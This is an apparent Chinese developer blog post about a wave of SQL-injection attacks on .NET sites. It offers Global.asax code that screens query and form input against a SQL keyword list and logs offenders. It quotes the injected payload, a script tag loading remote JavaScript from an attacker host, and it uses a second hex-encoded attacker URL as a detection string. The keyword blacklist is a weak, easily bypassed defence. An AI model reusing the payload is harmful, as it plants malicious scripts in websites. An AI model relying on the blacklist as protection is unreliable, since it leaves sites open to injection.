最近sql注入数据库被更改泛滥,以下提供一个.net程序防止sql注入的方法

最新推荐文章于 2024-10-04 22:00:00 发布
最新推荐文章于 2024-10-04 22:00:00 发布
阅读量772 收藏
点赞数
文章标签： sql 数据库 .net string application object

最近sql注入数据库被更改泛滥：状况如下：“ </title> </pre>> <script src=http://sb.5252.ws:88/107/1.js> </script> <”，
以下提供一个.net程序防止sql注入的方法（过滤敏感语句的仅供参考）方式如下：在Global.asax文件下面加入如下代码：
void Application_BeginRequest(Object sender, EventArgs e)
     {
         StartProcessRequest();

     }

     #region SQL注入式攻击代码分析
     /// <summary>
     /// 处理用户提交的请求
     /// </summary>
     private void StartProcessRequest()
     {
         try
         {
             string getkeys = "";
             string sqlErrorPage = "../default.aspx";//转向的错误提示页面
             if (System.Web.HttpContext.Current.Request.QueryString != null)
             {

                 for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                 {
                     getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                     if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                     {
                         System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                         System.Web.HttpContext.Current.Response.End();
                     }
                 }
             }
             if (System.Web.HttpContext.Current.Request.Form != null)
             {
                 for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                 {
                     getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                     if (getkeys == "__VIEWSTATE") continue;
                     if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                     {
                         System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                         System.Web.HttpContext.Current.Response.End();
                     }
                 }
             }
         }
         catch
         {
             // 错误处理: 处理用户提交信息!
         }
     }
     /// <summary>
     /// 分析用户请求是否正常
     /// </summary>
     /// <param name="Str">传入用户提交数据 </param>
     /// <returns>返回是否含有SQL注入式攻击代码 </returns>
     private bool ProcessSqlStr(string Str)
     {
         bool ReturnValue = true;
         try
         {
             if (Str.Trim() != "")
             {
                 string SqlStr = "and ¦exec ¦insert ¦select ¦delete ¦update ¦count ¦* ¦chr ¦mid ¦master ¦truncate ¦char ¦declare";

                 string[] anySqlStr = SqlStr.Split(' ¦');
                 foreach (string ss in anySqlStr)
                 {
                     if (Str.ToLower().IndexOf(ss) >= 0)
                     {
                         ReturnValue = false;
                         break;
                     }
                 }
             }
         }
         catch
         {
             ReturnValue = false;
         }
         return ReturnValue;
     }
     #endregion

今天看到这么多兄弟也中了这个,我补充一下,这个是我们实际中用的方法.发出来分享一下:
1,以下代码,用txt编辑器保存为lobal.asax
//从这里开始
<%@ Application Language="C#" %>

<script RunAt="server">

    void Application_Start(object sender, EventArgs e)
    {
        // 在应用程序启动时运行的代码

    }

    void Application_End(object sender, EventArgs e)
    {
        // 在应用程序关闭时运行的代码

    }

    void Application_Error(object sender, EventArgs e)
    {
        // 在出现未处理的错误时运行的代码

    }

    void Session_Start(object sender, EventArgs e)
    {
        // 在新会话启动时运行的代码

    }

    void Session_End(object sender, EventArgs e)
    {
        // 在会话结束时运行的代码。
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
        // InProc 时，才会引发 Session_End 事件。如果会话模式设置为 StateServer
        // 或 SQLServer，则不会引发该事件。

    }

    void Application_BeginRequest(Object sender, EventArgs e)
    {
        StartProcessRequest();

    }

    #region SQL注入式攻击代码分析
    /// <summary>
    /// 处理用户提交的请求
    /// </summary>
    private void StartProcessRequest()
    {
        try
        {
            string getkeys = "";
            string sqlErrorPage = "/ErrorLog/Log.aspx";
            if (System.Web.HttpContext.Current.Request.QueryString != null)
            {

                //具有针对性的注入：
                string url = System.Web.HttpContext.Current.Request.Url.ToString();
                string sInject = "http://%66%75%63%6B%75%75%2E%75%73/1.js";
                string s2 = "fuckuu.us";
                if (url.IndexOf(sInject) >= 0 || url.IndexOf(s2) >=0 )
                {
                    System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                    System.Web.HttpContext.Current.Response.End();
                }
               
                for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                {
                    getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                    if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                    {
    sqlErrorPage += "?preUrl=" + HttpUtility.UrlEncode(Request.Url.ToString());//转向的错误提示页面
                        System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                        System.Web.HttpContext.Current.Response.End();
                    }
                }
               
               
            }
            if (System.Web.HttpContext.Current.Request.Form != null)
            {
                for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                {
                    getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                    if (getkeys == "__VIEWSTATE") continue;
                    if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                    {
    sqlErrorPage += "?preUrl=" + HttpUtility.UrlEncode(System.Web.HttpContext.Current.Request.Form[getkeys]);
                        System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                        System.Web.HttpContext.Current.Response.End();
                    }
                }
            }
           
          
           
        }
        catch
        {
            // 错误处理: 处理用户提交信息!
        }
    }
    /// <summary>
    /// 分析用户请求是否正常
    /// </summary>
    /// <param name="Str">传入用户提交数据 </param>
    /// <returns>返回是否含有SQL注入式攻击代码 </returns>
    private bool ProcessSqlStr(string Str)
    {
        bool ReturnValue = true;
        try
        {
            if (Str.Trim() != "")
            {
                string SqlStr = "and |exec |insert |select |delete |update |count |* |chr |mid |master |truncate |char |declare ";

                string[] anySqlStr = SqlStr.Split('|');
                foreach (string ss in anySqlStr)
                {
                    if (Str.ToLower().IndexOf(ss) >= 0)
                    {
                        ReturnValue = false;
                        break;
                    }
                }
            }
        }
        catch
        {
            ReturnValue = false;
        }
        return ReturnValue;
    }
    #endregion
</script>
//到这里结束
2,新建一文件夹ErrorLog,
复制以下代码用txt编辑器保存为Log.aspx,
//从这里开始
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Log.aspx.cs" Inherits="ErrorLog_Log" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
   
    </div>
    </form>
</body>
</html>

//到这里结束
复制以下代码用txt编辑器保存为Log.aspx.cs
//从这里开始
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.IO;

public partial class ErrorLog_Log : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        Log(HttpUtility.UrlDecode(Request["PreUrl"]));
    }

    //把注入操作记录在本地文件中，每天写一个文件
    private void Log(string url)
    {
        DateTime dt = DateTime.Now;
        string fileName = Server.MapPath("/ErrorLog") + "//Log" + dt.ToString("yyyy_MM_dd") + ".log";
        string content = dt.ToString() + "," + Request.UserHostAddress + "," + url + "/r/n";
        File.AppendAllText(fileName, content);
        //Response.Redirect("/errorPage.html");
    }
}
//到这里结束
把Log.aspx.cs与Log.aspx放在ErrorLog文件夹中,接着把ErrorLog文件夹与Global.asax文件放在根目录下,这样就可以记录下攻击的日志.

 

 

yngaozhifu
关注
web安全之SQL注入
weixin_45997442的博客
04-29 959
SQL注入是Web安全界地位很高的一个漏洞，它把矛头对准网站最为重要的数据库，利用成本低而危害巨大。若说一个普通开发人员有那么点儿安全意识，那一定和SQL注入有关。如今随着Web安全逐渐被重视，大家安全意识提升，同时各种预编译框架、ORM层出不穷，SQL注入已不像10年前那么泛滥，那么SQL注入的前世今生是怎样的？在这个预编译时代，SQL注入为何仍未销声匿迹？而预编译的底层又有哪些细节需要安全工程师知晓？这将是本文所重点探究之处。
我用 SQL注入 渗透进了某企业内网
m0_38048955的博客
05-24 289
sql注入
SQL注入攻击实例
u012868901的博客
05-26 1万+
一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分，所以尽管我们之前没有使用过SQL注入来渗透网络，但对其概念也相当熟悉了。最后我们在这项任务中大获成功，现在来回顾一下这个过程的每一步，将它记录为一个案例。 我们记录下了在多次错误的转折后经历的曲折过程，而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白，
.net程序防止sql注入的方法
weixin_30791095的博客
07-11 81
最近sql注入数据库被更改泛滥：状况如下：“ </title> </pre>> <script src=http://sb.5252.ws:88/107/1.js> </script> <”， 以下提供一个.net程序防止sql注入的方法（过滤敏感语句的仅供参考）方式如下：在Global.asax文件下面加入如下代码： v...
SQL注入文章资料
bcbobo21cn的专栏
10-13 1367
sql注入 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。[1]  比如先前的很多影视网站泄露VI
mysql注入审计_代码审计之SQL注入
weixin_29295541的博客
01-28 196
SQL注入漏洞的原理非常简单，由于开发者在编写操作数据库代码时，直接将外部可控的参数拼接到SQL语句中，没有经过任何过滤就直接放入数据库引擎执行。由于SQL注入是直接面对数据库进行攻击的，所以它的危害不言而喻，通常利用SQL注入的攻击方式有下面几种：一是在权限较大的情况下，通过SQL注入可以直接写入webshell，或者直接执行系统命令等。二是在权限较小的情况下，也可以通过注入来获得管理员的密码等...
.net防止SQL注入的方法
weixin_30421809的博客
05-28 86
最近sql注入数据库被更改泛滥，我的好多NET+SQL的系统都出现了注入问题，郁闷了好几天，目前被注入最流行的JS代码，库表里补追加了N多如："</title><script src=http://XXXXXXX/107/1.js> </script> <”的字段，导致WEB页面无法正常使用，在网上找了不少的防注入过滤敏感语句代码，这个觉得方便点，仅供参参...
实例讲解SQL注入攻击
qq_20816947的博客
07-09 2927
转载地址：http://www.csdn.net/article/2015-01-13/2823533-SQL 摘要：“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法（“缓存溢出”和这个不同），意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们，就会造成一些出人意料的结果。 一位客户让我们针对只有他们企业员工和顾客能使用的企业
关于.net网站的安全性问题以及解决方案的分析
wujiaolong的专栏
08-13 3543
在面试的时候当面试官问道：“你知道怎么提高网站的安全性吗？”这个问题时，我总是回答的不够完整，所以今天我浏览了各大高手的博客，以及通过看书稍微总结一下，也许还是不完整，希望这方面高手也能出来指点一二。 首先探讨一下，什么是网站的安全性？ 就网站而言，因为网站的定义有许多种，所以各种关于网站安全的定义也不同。有的定义为：网站安全就是保护网上保存的数据和流动的数据，不被别人偷看、窃取或者修改。也有
基于JAVA SSM框架的酒店客房管理系统设计
【完整】
02-21 8159
酒店客房管理系统 摘 要 随着信息需求的增长，传统的信息交流方式早已不能满足企业对传递和处理大量信息的需要，因而亟需把网络技术渗透到日常生活中。在当代快速发展的社会里，无处不见酒店，酒店客房管理系统的开发势在必行。随着计算机的普及和计算机科学技术的飞速发展，人们开始越来越多地利用计算机解决实际问题。酒店面对大量的预定，入住以及人员管理和历史记录的查询等问题，采用原始方式处理既浪费时间、又浪费人力和物力，并且数据的准确性低，所以酒店管理系统的出现起到了很重要的作用。因此，总结前人的经验，开发交互性好...
分享国外安全团队及工具
热门推荐
专注企业信息安全－sec
03-19 1万+
名称 版 描述 主页 0trace 1.5 跳跃枚举工具 http://jon.oberheide.org/0trace/ 3proxy 0.7.1.1 微小的免费代理服务器。 http://3proxy.ru/ 3proxy-win32的 0.7.1....
老菜鸟致青春，程序员应该选择java 还是 c#-
java1856905的博客
02-22 2500
致青春 还记得自己那年考清华失败，被调剂到中科大软院，当初有几个方向可以选，软件设计、嵌入式、信息安全等等，毫不犹豫地选择了信息安全。 为什么选信息安全？这四个字听起来多牛多有感觉，我本科是学物理的，记得做一个光学实验的时候，一个老师看我做的结果，说，学物理不是什么人都可以的，这个是需要一点智商的。 好吧，当初其实并非对我一个人所说，但我确实感觉到受到了鄙视，同时，我没有任何在物理上的精湛技...
下一代数据架构Data Fabric到底是什么？
m0_59869709的博客
01-04 1万+
Data Fabric是数据管理的未来，而国内的相关信息较少。通过Data Fabric概念、能力、与其他技术差异以及在工业界实践方案的介绍，期望大家对Data Fabric有基本的了解，并结合各自的情况可以给出具体的、可落地的建设方案。
毕业设计_基于springboot+layui+mybatisPlus的中小型仓库物流管理系统源码+SQL+教程+可运行】41004
最新发布
pingguocu3的博客
10-04 893
毕业设计--课程设计--springboot--java 登录管理员账号：system 密码：123456 验证码输入：注意验证码字母要大写。启动项目后运行http://locahost:8080跳转到登录界面即可。后端：springboot、mybatis-plus、shiro。application.yml文件中的数据库连接信息。运行sql目录下的warehouse.sql文件。1.基础管理：商品管理、客户管理、供应商管理；2.物流管理：进货管理、发货管理、交付管理...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值